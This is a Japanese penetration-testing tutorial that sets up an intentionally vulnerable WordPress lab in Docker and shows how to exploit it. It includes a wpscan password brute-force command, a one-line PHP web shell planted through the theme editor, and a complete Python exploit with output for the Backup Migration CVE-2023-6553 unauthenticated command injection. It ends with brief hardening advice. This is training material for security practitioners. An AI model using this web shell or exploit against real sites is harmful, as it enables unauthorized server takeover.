こんにちわ。株式会社フォアーゼットにてペンテスターをしている蔀です。
この記事では、脆弱なWordPress環境を作成し、実際に侵入の練習をするデモ環境を作成します。
概要
脆弱性を自身で作り、侵入を行い、直すというオペレーションをしたい人にとって有用な記事です。
Hardeningなどの対策にも有効ですので、ご活用ください。
- Docker環境でデモを行うことを前提としております。
注意
不正アクセスなどの罪に当たらないよう、診断が許可されていないパブリックのサイトに向けてのスキャン等は気を付けてください。
当記事の内容において発生した損害等におきましては、寄稿者及び弊社は一切の責任を負いません。 ご了承ください。
実際に稼働しているサービス等に診断を行いたい場合には、弊社のバグバウンティプラットフォーム「ZoneZero」をご活用ください。
セットアップ手順
docker-compose.yml
を作成します。
version: '3'
services:
db:
image: mysql:5.7
volumes:
- ./mysql:/var/lib/mysql
restart: always
environment:
MYSQL_ROOT_PASSWORD: root
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: wordpress
wordpress:
depends_on:
- db
image: wordpress:latest
ports:
- "8000:80"
restart: always
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
volumes:
- ./wordpress:/var/www/html
volumes:
db_data:
これをひとまず保存しましょう。
次に、コマンドラインにて以下コマンドを打ち込み起動します。
docker-compose up -d
こちらにアクセスすると、初期セットアップ画面が表示されます。
セットアップをこのまま完了させてください。
非常に簡単ですね。
脆弱性の作りこみ
次に、脆弱性の作りこみを行います。
脆弱なパスワードを利用したユーザー
まずは、test
ユーザーを作成します。
ユーザー一覧を開き、「新規ユーザーを追加」を選択します。
後ほどのデモで利用するので、簡単なパスワードを設定しましょう。また、権限に関しては「管理者」にしましょう。
脆弱なプラグインの導入
Backup Migration
のバージョン1.3.7以前には CVE-2023-6553 の「認証を必要としないOSコマンドインジェクションの脆弱性」が存在します。
詳細はこちらをご覧ください。
以下から古いバージョンのBackup Migration
のZipファイルを取得します。
後に、「新規プラグインを追加」から「プラグインのアップロード」を選択後、Zipファイルをアップロードします。
シナリオ・悪用方法
次に、2つのシナリオから脆弱性の悪用方法を学びます。
シナリオ1:脆弱なパスワードの利用により管理コンソールからRCE
ブルートフォース攻撃を仕掛けます。
wpscanを利用してブルートフォース攻撃が簡単に可能です。
wpscan --password-attack xmlrpc -t 20 -U test -P passwords.txt --url http://localhost:8000
結果を抜粋:
[!] Valid Combinations Found:
| Username: test, Password: test
test
ユーザーのパスワードはtest
であることが分かりました。
ログインページからtest:test
を利用してログインを行い、
ツール → テーマファイルエディタ → templates → Twenty Twenty-Three: hidden-404.php (patterns/hidden-404.php) にアクセスします。
以下のようなURLでもアクセスが可能です。
http://localhost:8000/wp-admin/theme-editor.php?file=patterns%2Fhidden-404.php&theme=twentytwentythree
次に、最初のPHPのヘッド欄に、以下のコードを追加します。
<?php system($_GET['cmd']); ?>
これにより、http://localhost:8000/wp-content/themes/twentytwentythree/patterns/hidden-404.php
にきたGETリクエストのcmd
にコマンドを指定することで、内部でコマンドを走らせることができます。
curl http://localhost:8000/wp-content/themes/twentytwentythree/patterns/hidden-404.php?cmd=id
バックドアを作成し、コマンドを実行することができました。
シナリオ2:脆弱なプラグインの利用によりRCE
脆弱なプラグインの悪用方法は以下のようなGitレポジトリで公開されています。
少し改変したものを以下に掲載しています。
import base64
import requests
def main():
print("Enter the URL of the target WordPress site")
print("default: http://localhost:8000/")
url = input(">>> ")
if url == "":
url = "http://localhost:8000/"
print("Enter the command to execute")
cmd = input(">>> ")
cmd = "<?php `" + cmd.replace("\n","") + " > out.txt `;?>"
print("execute:",cmd)
payload = generate_filter_chain(cmd)
headers = {"Content-Dir": payload}
response = requests.post(f"{url}/wp-content/plugins/backup-backup/includes/backup-heart.php", headers=headers)
print(response.status_code)
req = requests.get(f"{url}/wp-content/plugins/backup-backup/includes/out.txt")
print("-----------------")
print(req.text)
print("-----------------")
'''
synacktiv/php_filter_chain_generator
https://github.com/synacktiv/php_filter_chain_generator
'''
def generate_filter_chain(chain):
chain = chain.encode('utf-8')
chain = base64.b64encode(chain).decode('utf-8').replace("=", "")
conversions = {
"0": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2",
"1": "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4",
"2": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921",
"3": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE",
"4": "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE",
"5": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2",
"6": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2",
"7": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4",
"8": "convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2",
"9": "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB",
"A": "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213",
"a": "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE",
"B": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000",
"b": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE",
"C": "convert.iconv.UTF8.CSISO2022KR",
"c": "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2",
"D": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213",
"d": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5",
"E": "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT",
"e": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937",
"F": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB",
"f": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213",
"g": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8",
"G": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90",
"H": "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213",
"h": "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE",
"I": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213",
"i": "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000",
"J": "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4",
"j": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16",
"K": "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE",
"k": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2",
"L": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC",
"l": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE",
"M": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T",
"m": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949",
"N": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4",
"n": "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61",
"O": "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775",
"o": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE",
"P": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB",
"p": "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4",
"q": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2",
"Q": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2",
"R": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4",
"r": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101",
"S": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS",
"s": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90",
"T": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103",
"t": "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS",
"U": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943",
"u": "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61",
"V": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB",
"v": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2",
"W": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936",
"w": "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE",
"X": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932",
"x": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS",
"Y": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361",
"y": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT",
"Z": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16",
"z": "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937",
"/": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4",
"+": "convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157",
"=": "",
}
encoded_chain = chain
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in encoded_chain[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource=php://temp"
return final_payload
if __name__ == "__main__":
main()
このような形で認証されていないユーザーからRCEを行うことができます。
┌──(ayato㉿AyatoDesktop)-[~/Fore/wordpress-vuln-lab]
└─$ python3 poc-chk-vuln.py
Enter the URL of the target WordPress site
default: http://localhost:8000/
>>>
Enter the command to execute
>>> pwd
execute: <?php `pwd > out.txt `;?>
200
-----------------
/var/www/html/wp-content/plugins/backup-backup/includes
-----------------
対策
以上を踏まえて、このような対策をすることでシナリオの完遂ハードルを上げることができます。
- 複雑なパスワードを利用
- プラグインのアップデート
- プラグインの自動アップデートの有効化
まとめ
世界の公開されたサイトの40%以上がWordPressで構築されていると言われています。
セキュアなWordPress利用を心がけましょう!